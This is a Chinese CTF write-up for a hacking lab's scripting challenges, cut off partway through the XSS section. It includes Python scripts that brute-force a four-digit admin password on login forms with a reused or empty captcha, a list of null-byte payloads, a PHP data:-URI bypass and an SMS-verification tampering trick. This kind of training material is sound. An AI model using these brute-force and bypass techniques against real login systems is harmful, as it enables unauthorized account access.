CTF [网络安全实验室] [脚本关]
脚本关
1.key又又找不到了？
emmmm 抓包放包key就出来了，和基础关的差不多。
![CTF [网络安全实验室] [脚本关]_第1张图片](http://img.e-com-net.com/image/info8/92bb330dfd654b1c920f82d75f663dc7.jpg)
2.快速口算
![CTF [网络安全实验室] [脚本关]_第2张图片](http://img.e-com-net.com/image/info8/3cfd0a4e46884d81b0258cf658408976.jpg)
试着写下脚本：
# -*- codeing = utf-8 -*-
# @Time : 2021/5/4 10:46
# @Author : rexu
# @File : 2sadd.py
# @Software : PyCharm
import requests,re
s = requests.Session()
url = "http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"
html = s.get(url).content.decode('utf-8')
reg = r'([0-9].+)=<'
pattern = re.compile(reg)
match = re.findall(pattern,html)
payload = {'v':eval(match[0])}
print(s.post(url,data=payload).text)
![CTF [网络安全实验室] [脚本关]_第3张图片](http://img.e-com-net.com/image/info8/c63271f1ef264cb8a7e6307db5e63ac4.jpg)
得key！
3.这个题目是空的。
找到可以表示空白的字符串，循环提交，找到成功的。
# -*- codeing = utf-8 -*-
# @Time : 2021/5/4 11:15
# @Author : rexu
# @File : null.py
# @Software : PyCharm
import requests
url = ""
payloads = ["%00","%0a","%0d","%0a","%0d","%0b","%0c","%a0","null","none"]
for i in payloads:
r = requests.get(url,params={'':'i'})
if r.status_code == 200:
print(i)
else:
print("error")
#null是对的4.怎么就是不弹出key呢？
![CTF [网络安全实验室] [脚本关]_第4张图片](http://img.e-com-net.com/image/info8/14346f023f1c416798624f12e10b791a.jpg)
![CTF [网络安全实验室] [脚本关]_第5张图片](http://img.e-com-net.com/image/info8/a0ac732ab9f54c7e860c4cf1d7aef28c.jpg)
抓包或者F12查看源码如下：
发现提示：提交前14个字符得到key。源码中有三个扰乱的函数return false；删除前3个函数，在本地重新运行，得到key。
![CTF [网络安全实验室] [脚本关]_第6张图片](http://img.e-com-net.com/image/info8/db87289e6cf0408d84465571d678dcd8.jpg)
学到了一种新的解题方法。
5.逗比验证法第一期：逗比的验证码，有没有难道不一样吗？
![CTF [网络安全实验室] [脚本关]_第7张图片](http://img.e-com-net.com/image/info8/95e36522b86a4307b66516886e92212a.jpg)
看提示好像是验证码不会变，我们抓包看看。
![CTF [网络安全实验室] [脚本关]_第8张图片](http://img.e-com-net.com/image/info8/a6cda2aa7b494f44ba723a8006b13606.jpg)
每次在不改正确的验证码的同时，修改密码，错误回显只有pwd error，的确，这是个逗比验证码；我们进行暴力破解，首先发送到Intruder模块；
![CTF [网络安全实验室] [脚本关]_第9张图片](http://img.e-com-net.com/image/info8/a4d27b423d014a2b8d6fea5102feabf9.jpg)
![CTF [网络安全实验室] [脚本关]_第10张图片](http://img.e-com-net.com/image/info8/bf953f2df5844fd89c34c6fabf1f2f41.jpg)
![CTF [网络安全实验室] [脚本关]_第11张图片](http://img.e-com-net.com/image/info8/306c8d1257314ccdaac74460bacc91d9.jpg)
![CTF [网络安全实验室] [脚本关]_第12张图片](http://img.e-com-net.com/image/info8/64858fe4e4cc45a088cd3e9c2ab961c5.jpg)
1238登录得到key。
![CTF [网络安全实验室] [脚本关]_第13张图片](http://img.e-com-net.com/image/info8/70cdbbe542bb41d1bd07970b6078ff8a.jpg)
使用python脚本进行破解：
# -*- codeing = utf-8 -*-
# @Time : 2021/5/4 12:44
# @Author : rexu
# @File : burp.py
# @Software : PyCharm
import requests
s = requests.Session()
url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0",
"Cookie": "PHPSESSID=4fd46a57c9beb76b5fd77aa0ccc954b7" #需要修改。
}
for i in range(1000,10000):
payload = {"username":"admin","pwd":i,"vcode":"PFFQ"} #同样需要修改
r = s.post(url,data=payload,headers=headers)
print(i,r.text)
![CTF [网络安全实验室] [脚本关]_第14张图片](http://img.e-com-net.com/image/info8/813d992c5bdc415d8d968571694ec476.jpg)
6.逗比验证码第二期。
![CTF [网络安全实验室] [脚本关]_第15张图片](http://img.e-com-net.com/image/info8/68f0dd2568f448ea93146033af60c240.jpg)
这回验证码每次刷新一次就回变一次。
![CTF [网络安全实验室] [脚本关]_第16张图片](http://img.e-com-net.com/image/info8/c3c1f4bc2e5042a6bc76ad59c6d36940.jpg)
我们发现如果不提交验证码，会回显pwd error ，所以猜测可以改包不输入验证码来绕过。
![CTF [网络安全实验室] [脚本关]_第17张图片](http://img.e-com-net.com/image/info8/df042bfa4c944a5dbc693aa50ebb7c7c.jpg)
同样的，使用burp爆破。
![CTF [网络安全实验室] [脚本关]_第18张图片](http://img.e-com-net.com/image/info8/87ab178ee4194db0bafd4f82365d37de.jpg)
使用python：
# -*- codeing = utf-8 -*-
# @Time : 2021/5/4 13:06
# @Author : rexu
# @File : burp2.py
# @Software : PyCharm
import requests
s = requests.Session()
url = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
headers = {
"Cookie": "PHPSESSID=4fd46a57c9beb76b5fd77aa0ccc954b7"
}
for i in range(1000,10000):
payload = {"username":"admin","pwd":i,"vcode":""}
r = s.post(url,headers=headers,data=payload)
print(i,r.content)![CTF [网络安全实验室] [脚本关]_第19张图片](http://img.e-com-net.com/image/info8/000df95ee9994dc59f0f645438cdee60.jpg)
得key！
7.逗比的验证码第三期。
![CTF [网络安全实验室] [脚本关]_第20张图片](http://img.e-com-net.com/image/info8/e47958f31f7c4881910e33f6be95d3de.jpg)
emmmmm
和第二期的验证码一样逗，不用输入验证码，然后爆破，python脚本也类似。
8.微笑一下就能过关了。
![CTF [网络安全实验室] [脚本关]_第21张图片](http://img.e-com-net.com/image/info8/638e8c59ad1244358684412f14db5335.jpg)
F12查看源码：![CTF [网络安全实验室] [脚本关]_第22张图片](http://img.e-com-net.com/image/info8/886f966aa3d245aea69fb10203e0fbac.jpg)
查看源代码：
![CTF [网络安全实验室] [脚本关]_第23张图片](http://img.e-com-net.com/image/info8/57da50276ca446e8bcbe1d417fabf2f4.jpg)
代码审计题：
编码后我们的输入为：^%5f^
$_GET['^_^']只能是字符串：(●'◡'●)
输入为：" ^%5f^=data:,(●'◡'●) "
后面又要通过file_get_contents()取出$_GET['^_^']里的值，而$_GET['^_^']又必须不存在。所以$_GET['^_^']只能是字符串"(●'◡'●)",不可能是文件名。那么file_get_contents()里的参数就应该是data:，所以我们输入就应该为" ^%5f^=data:,(●'◡'●) "
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^%5f^=data:,(%E2%97%8F%27%E2%97%A1%27%E2%97%8F)
得到key！
9.逗比的手机验证码。
显示登录框：
![CTF [网络安全实验室] [脚本关]_第24张图片](http://img.e-com-net.com/image/info8/c0ca8ee05d444818a40eba331a58a930.jpg)
获取验证码登录后显示：
![CTF [网络安全实验室] [脚本关]_第25张图片](http://img.e-com-net.com/image/info8/8175dcd3cf524428b1b29730ec19312b.png)
换手机号登录后发现：
![CTF [网络安全实验室] [脚本关]_第26张图片](http://img.e-com-net.com/image/info8/3dab8d4b413a4e338b40a093b2537bac.jpg)
抓包试试。
我们先抓6666结尾的包：
![CTF [网络安全实验室] [脚本关]_第27张图片](http://img.e-com-net.com/image/info8/0185c6e590824f7cb36ee36bec583536.jpg)
每次重发一回，验证码都会变，在这里我们把6666->6667发现：
![CTF [网络安全实验室] [脚本关]_第28张图片](http://img.e-com-net.com/image/info8/9ff1e9e35916433eb0b672223fb9dd24.jpg)
发现不行。
我们抓取6667的包；
![CTF [网络安全实验室] [脚本关]_第29张图片](http://img.e-com-net.com/image/info8/f2d13cc7e7f84d199a0a4fdd829625e7.jpg)
将这里的6667改为6666，发送：
![CTF [网络安全实验室] [脚本关]_第30张图片](http://img.e-com-net.com/image/info8/5dd428b21aab43eb810f1c0acd4cde9d.jpg)
登录得key
![CTF [网络安全实验室] [脚本关]_第31张图片](http://img.e-com-net.com/image/info8/9b5bd3a41b524847975f1efe3e35f5e1.jpg)
思路：66可得验证码，67不可得验证码，抓取67的包修改为66得验证码，配合67进行登录，找到key。
10.基情燃烧的岁月
![CTF [网络安全实验室] [脚本关]_第32张图片](http://img.e-com-net.com/image/info8/1c482f41a0374c638bda5e473ae592fa.jpg)
![CTF [网络安全实验室] [脚本关]_第33张图片](http://img.e-com-net.com/image/info8/105ce0b70c0c40378853b0dcb3596a5e.png)
进行爆破发现：
![CTF [网络安全实验室] [脚本关]_第34张图片](http://img.e-com-net.com/image/info8/37920fb8797643589debd16d3a289dbf.jpg)
登录：
![CTF [网络安全实验室] [脚本关]_第35张图片](http://img.e-com-net.com/image/info8/696668a41c784c28a65323128c3ff7a1.jpg)
emmmm 使用99登录进行爆破：
![CTF [网络安全实验室] [脚本关]_第36张图片](http://img.e-com-net.com/image/info8/13ff5e007e8244b199672e6e56f2da0a.jpg)
登录：
![CTF [网络安全实验室] [脚本关]_第37张图片](http://img.e-com-net.com/image/info8/b58b9bbb8dbb4dcbbe45f7fd208e6bb4.jpg)
11.验证码识别。
![CTF [网络安全实验室] [脚本关]_第38张图片](http://img.e-com-net.com/image/info8/acfe135ee3ca44ef8b71c6724b0400c9.jpg)
涉及未学到的python库，正在学。
12.xss1-基础
![CTF [网络安全实验室] [脚本关]_第39张图片](http://img.e-com-net.com/image/info8/0d8a8acacba54ad88166efff6f070e12.png)
先用：
使用：
![CTF [网络安全实验室] [脚本关]_第40张图片](http://img.e-com-net.com/image/info8/126b5d9a1ec74238b67b24a750ed0210.jpg)
13.xss2-绕过
![CTF [网络安全实验室] [脚本关]_第41张图片](http://img.e-com-net.com/image/info8/a726cf4517c24312ac6ed7d5ce9914b6.jpg)
使用：发现：
![CTF [网络安全实验室] [脚本关]_第42张图片](http://img.e-com-net.com/image/info8/ab978152c54346b686c9102a8af5fbd4.jpg)
怀疑